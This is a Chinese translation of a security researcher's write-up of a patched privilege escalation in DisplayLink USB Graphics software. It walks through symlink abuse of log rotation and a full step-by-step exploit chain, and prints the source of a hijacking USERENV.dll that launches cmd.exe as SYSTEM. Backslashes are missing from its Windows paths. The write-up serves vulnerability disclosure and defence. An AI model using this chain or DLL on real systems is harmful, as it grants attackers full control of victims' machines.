DisplayLink USB显卡软件中提权攻击分析

admin 2021年5月10日01:30:20评论105 views字数 7151阅读23分50秒阅读模式

译文声明
本文是翻译文章,文章原作者Yannick Méheut,文章来源:https://offsec.almond.consulting
原文地址:https://offsec.almond.consulting/displaylink-usb-graphics-arbitrary-file-write-eop.html

译文仅供参考,具体内容表达以及含义原文为准

摘要

DisplayLink USB显卡软件7.9.296.0版本中,由于对日志文件夹的访问权限过大,导致攻击者可以利用此机制执行特权文件操作,如任意文件创建。攻击者还可以通过DLL劫持的方式获取靶机的系统权限。

此漏洞已在最新版本中修复,建议用户更新到最新版本。

漏洞概述

在使用Windows笔记本进行配置审查时,我通常会使用Clément Labro(@itm4n)的PrivescCheck工具(译者力荐)检查其中是否存在普通的权限提升技术。

PrivescCheck列出了一些可修改的路径:
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:Program FilesDisplayLink Core SoftwareDebug Everybody {WriteOwner, Delete, WriteAttributes, Synchronize...}

所有用户对C:Program FilesDisplayLink Core SoftwareDebug文件夹拥有过大的多权限。

我们可以在services.msc中了解该程序的更多细节:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

此服务是显卡软件的一部分,并作为系统服务自动运行。

那么我们可以猜想一种场景,如果DisplayLink软件使用此Debug文件夹中的文件执行特权操作,那我们就可以利用高特权级文件操作进行本地提权。

在同事Clément Lavoillotte帮助下,我们发现并成功利用了该漏洞。

漏洞利用

在测试中,我选取的是与我本机环境非常相近的Windows 10 1909虚拟机,并安装相同版本的DisplayLink。

由于现在DisplayLink官网已经对软件进行升级,点击此处下载实验版本。

过度的访问权限

安装软件后,我们首先查看Debug文件夹上的权限 :
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

如我们之前所说,Everybody对此文件拥有完全的控制权。

但是如果此文件夹下包含敏感文件,如DLL文件。我们完全可以进行DLL劫持,恶意代码就会以系统身份运行。让我们先看一下文件夹下有哪些内容:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

好吧,只有一些日志文件。但是我们发现了以.log和.old.log为后缀的文件,这应该是由日志轮转所产生的文件。正如clement在他的文章中所阐述的,我们可以利用日志旋转机制来执行任意文件创建操作。

日志轮转

让我们在Procmon中观察一下日志轮转机制的具体过程:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

在启动时,DisplayLinkManager.exe会执行以下操作:
1.打开DisplayLinkManager.log日志文件
2.对它进行一些检查(文件内容或是文件大小)
3.如果检查通过,执行日志轮换:
 3.1.删除DisplayLinkManager.old.log文件(如果存在)
 3.2.重命名DisplayLinkManager.logDisplayLinkManager.old.log
 3.3.创建一个新的DisplayLinkManager.log

这些动作都是作为系统用户进行执行的,我们查看了事件的详细信息,确认在这里并不是模拟用户进行的操作。我们可以利用这一点进行任意写入或删除文件。

任意文件创建

我们可以欺骗DisplayLink Manager将攻击者可控的文件移动至特权位置。我们可以使用CreateSymlink.exe完成这一操作(Google Project Zero的SymbolicLink测试工具中的工具。)

创建如下符号链接:
•将C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.log链接至我们要移动的文件
•将C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.old.log链接到我们要放置文件的地方

还有一点需要注意,在进行符号链接时,Debug文件夹必须为空。因为CreateSymlink.exe程序会将其替换为RPC Control的挂载点。但是,当我们试图删除Debug中已存在的日志文件,则会出现以下错误:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

虽然我们可以完全控制该文件夹及内容,但是日志文件是由DisplayLink Manager进程打开的,我们无法直接删除它们。并且,我们无法终止DisplayLink Manager进程,因为它们是以SYSTEM身份运行,而我们仅仅是普通用户的权限。

那我们怎样进行绕过呢?别忘了我们对Debug文件夹拥有完全控制权,我们可以直接修改其ACL,使SYSTEM用户对该文件夹及其内容没有修改权限:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

在重启计算机后,DisplayLink Manager将无法在该文件夹中打开其日志文件,我们可以对其执行删除操作。我们还可以删除目录下DisplayLinkUserAgent.log。该文件由DisplayLink用户代理应用程序打开,而这个应用程序也是以SYSTEM身份运行。

DisplayLinkUI.logDisplayLinkUIAddOnApi.log是DisplayLink UI Systray应用程序所打开的。该应用程序以当前用户的权限运行,因此我们可以在任务管理器中将其关闭,然后删除日志文件。
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

至此,您将获得一个干净且完全为空的Debug文件夹:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

现在,我们开始漏洞利用,将我们控制的文件移动到C:WindowsSystem32。通过观察日志文件大小,我们注意到当日志文件超过101kb时会发生日志轮换,因此我们需要确保自定义文件超过该大小。
```
PS C:Temp> ls

Directory: C:Temp

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/24/2020 6:58 PM 192302 arbitrary_file.txt

PS C:Temp> Get-Content -TotalCount 8 .arbitrary_file.txt
"Disposable Heroes"

Bodies fill the fields I see, hungry heroes end
No one to play soldier now, no one to pretend
Running blind through killing fields, bred to kill them all
Victim of what said should be
A servant 'til I fall

PS C:Temp> Get-FileHash -Algorithm SHA256 -Path .arbitrary_file.txt

Algorithm Hash Path
--------- ---- ----
SHA256 B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D C:Temparbitrary_file.txt
Let's create the symlinks:

PS C:SymlinkTestTools> .CreateSymlink.exe -p "C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.log" "C:Temparbitrary_file.txt"
PS C:SymlinkTestTools> .CreateSymlink.exe -p "C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.old.log" "C:WindowsSyst
```
我们的目标文件扩展名为.dll,为了证明我们完全可以控制名称。

注意:在创建符号链接时,请确保当前没有其他进程正在访问Debug文件夹。其中包括打开文件夹的explorer.exe窗口,或者带有指向该文件夹的快速访问标签。

如果需要查看在RPC Control中创建的对象,我们可以使用Sysinternals Suite中的WinObj.exe,可以看到“日志文件”。
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

现在,我们只需注销帐户并重新登录:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::
```
PS C:> Get-FileHash -Algorithm SHA256 -Path "C:WindowsSystem32target_arbitary_file.dll"

Algorithm Hash Path
--------- ---- ----
SHA256 B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D C:WindowsSystem32target_ar...
We have our arbitrary file write! Here's the Procmon entries showing the log rotation that moves our arbitrary file into the system32 folder:
```
自此,任意文件写入基本完成。我们可以在Procmon中查找相应条目,通过条目可以看出将我们的任意文件移动到system32文件夹的日志轮换。
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

寻找丢失的DLL

那么,我们如何利用这个漏洞进行本地提权呢?我们的思路是将sethc.exe替换为cmd.exe,以使用粘滞键弹出shell。

但是,SYSTEM系统进行没有权限修改这些文件,实现这一操作需要TrustedInstaller权限。事实上,在具有特权的情况下,可以使用一些技术实现这一目标。但是这些技术不能用于我们无法控制的进程。

我们采取了另一种思路,使用DLL劫持。通过查看DisplayLink Manager尝试加载但失败的DLL,我们可以自己构建DLL来替换丢失的DLL,通过DLL劫持的方式实现以SYSTEM的身份执行任意代码的目的。

因此,我们启动ProcMon,搜索DisplayLink Manager未成功加载的DLL:
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

在ProcMon,我们可以发现DisplayLink Manager尝试加载文件夹中似乎缺失的几个DLL,例如,VERSION.dll, USERENV.dll, 和dbghelp.dll,这是我们重点研究的目标。

我选取了USERENV.dll作为目标,在C:Program FilesDisplayLink Core Software目录下构建USERENV.dll,那么就可以以SYSTEM身份执行代码。

为了创建恶意DLL,我们首先来看看Display Manager从USERENV.dll导入的函数。为此,我将使用CFF Explorer
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析

:::

如上图所示,Display Manager从USERENV.dll导入了5个函数,分别是wit、DestroyEnvironmentBlock、LoadUserProfileW、UnloadUserProfile、LoadUserProfileA和CreateEnvironmentBlock

随后,我们可以创建一个导出这些函数的DLL,但实际上会调用我们想要执行的命令。受到DLL劫持文章的启发,我的代码实现如下:
```
// dllmain.cpp : Defines the entry point for the DLL application.

include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe", SW_NORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) void DestroyEnvironmentBlock()
{
WinExec("cmd.exe", SW_NORMAL);
}

extern "C" __declspec(dllexport) void LoadUserProfileW()
{
WinExec("cmd.exe", SW_NORMAL);
}

extern "C" __declspec(dllexport) void UnloadUserProfile()
{
WinExec("cmd.exe", SW_NORMAL);
}

extern "C" __declspec(dllexport) void LoadUserProfileA()
{
WinExec("cmd.exe", SW_NORMAL);
}

extern "C" __declspec(dllexport) void CreateEnvironmentBlock()
{
WinExec("cmd.exe", SW_NORMAL);
}
在代码中,我只是简单调用进程使用的每个函数,并使其执行cmd.exe```。接下来,我们对其进行编译和植入。

注意:在进行劫持时,请记住静态编译DLL。

还有一点需要注意,我们的DLL需要超过101 Kb才能触发日志旋转。因此,如果文件太小,我们可以用NULL字节进行填充。

完整的利用链

下面,我们对上面的内容进行归纳:
1.更改C:Program FilesDisplayLink Core SoftwareDebug的ACL,禁用SYSTEM的修改权限。
2.重启系统。
3.终止DisplayLinkUI.exe进程。
4.清空C:Program FilesDisplayLink Core SoftwareDebug文件夹。
5.使用CreateSymlink.exe,创建从C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.log到恶意DLL的符号链接;
6.使用CreateSymlink.exe,创建从 C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.old.logC:Program FilesDisplayLink Core SoftwareUSERENV.dll的符号链接。
7.注销用户会话,然后重新登录。
8.漏洞利用
::: hljs-center

DisplayLink USB显卡软件中提权攻击分析
:::

至此,我们成功获取了SYSTEM Shell。在这里,我们可以看到实际弹出了两个cmd.exe ,这是因为我们的恶意DLL是由DisplayLink Manager(以SYSTEM运行)和DisplayLink UI Systray(以当前用户运行)加载的。因此,我们的Payload会被执行两次。

其次,我们很幸运能在桌面上弹出一个Shell。这是因为DisplayLink Manager在我们的会话中启动一个进程,然后加载DLL。因此,命令行会在我们的图形化Windows会话中弹出:

DisplayLink USB显卡软件中提权攻击分析
但是,如果它在session 0中运行,cmd.exe就不会出现在我们的桌面上。在这种情况下我们的Payload仍然可以执行,但我们可能需要构建更复杂的Payload才能在用户会话中创建进程。

结论

在本文中,我们实现了滥用Windows上特权进程执行文件操作来实现本地特权升级,而且漏洞利用不受任何配置的干扰。

在后续的版本中,Debug文件夹不复存在。开发者调整了安装文件夹的结构,ACL也得到了正确配置。

建议用户更新到最新版本

时间线

2020-04-23:通知厂商软件的7.9版本中存在漏洞,但7.9以后的版本似乎没有受到影响。
2020-04-23:收到供应商的回复,指出7.9版与Windows 10不兼容,并且由于潜在的不稳定因素,不建议在Windows 10上使用该软件。
2020-04-28:收到了GPG密钥,将加密后的安全建议发送给DisplayLink安全团队。
2020-04-29:向DisplayLink安全团队发送安全建议。
2020-04-30:DisplayLink安全团队确认收到安全建议。
2020-05-15:DisplayLink确认7.9以上的版本不受影响。
2020-07-01:发布通报。

相关推荐: easyMd5?不不不,一点都不easy

简介 0、md5是一种摘要算法,任何数据都可以取md5数据。 一般情况下使用的md5值为32位。 1、因为两个数据32位MD5的摘要信息需要完全一样,概率很低,所以一般用于校验一个文件在传输的过程中出现损坏的情况。比如某些网站下载大的镜像文件(一般是操作系统)…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月10日01:30:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DisplayLink USB显卡软件中提权攻击分析https://cn-sec.com/archives/246645.html